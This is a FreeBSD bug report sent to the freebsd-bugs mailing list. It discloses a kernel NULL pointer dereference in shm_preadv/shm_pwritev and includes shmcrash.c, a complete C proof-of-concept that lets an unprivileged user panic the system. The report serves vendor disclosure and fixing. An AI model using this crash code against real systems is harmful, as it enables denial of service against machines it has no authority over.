https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=217429
Bug ID: 217429
Summary: Users can cause NULL pointer deref and panic with shm
file and pread/pwrite
Product: Base System
Version: 10.3-RELEASE
Hardware: Any
OS: Any
Status: New
Severity: Affects Many People
Priority: ---
Component: kern
Assignee: freebsd-bugs@FreeBSD.org
Reporter: tim.newsham@nccgroup.trust
/*
* shmcrash.c
* Crash FreeBSD with pread/pwrite on a shm file.
Description:
Anon shm files create with shm_open have a NULL fp->f_vnode.
But shm_preadv and shm_pwritev will access through this pointer
when the offset is negative:
error = fget_read(td, fd, cap_rights_init(&rights, CAP_PREAD), &fp);
if (error)
return (error);
if (!(fp->f_ops->fo_flags & DFLAG_SEEKABLE))
error = ESPIPE;
else if (offset < 0 && fp->f_vnode->v_type != VCHR)
error = EINVAL;
else
error = dofileread(td, fd, fp, auio, offset, FOF_OFFSET);
This causes a NULL pointer dereference in kernel, and a panic.
No privileges are required.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <unistd.h>
void xperror(char *msg) {
perror(msg);
exit(1);
}
int main(int argc, char **argv)
{
char buf[64];
int fd, x, w;
w = (argc == 2 && argv[1][0] == 'w');
printf("we will %s\n", w ? "write" : "read");
fd = shm_open(SHM_ANON, O_RDWR, 0);
if(fd == -1) xperror("shm_open");
printf("fd %d\n", fd); fflush(stdout);
if(w)
x = pwrite(fd, "test", 4, -1);
else
x = pread(fd, buf, sizeof buf, -1);
printf("io %d\n", x);
return 0;
}
--
You are receiving this mail because:
You are the assignee for the bug.
_______________________________________________
freebsd-bugs@freebsd.org mailing list
https://lists.freebsd.org/mailman/listinfo/freebsd-bugs
To unsubscribe, send any mail to "freebsd-bugs-unsubscr...@freebsd.org"
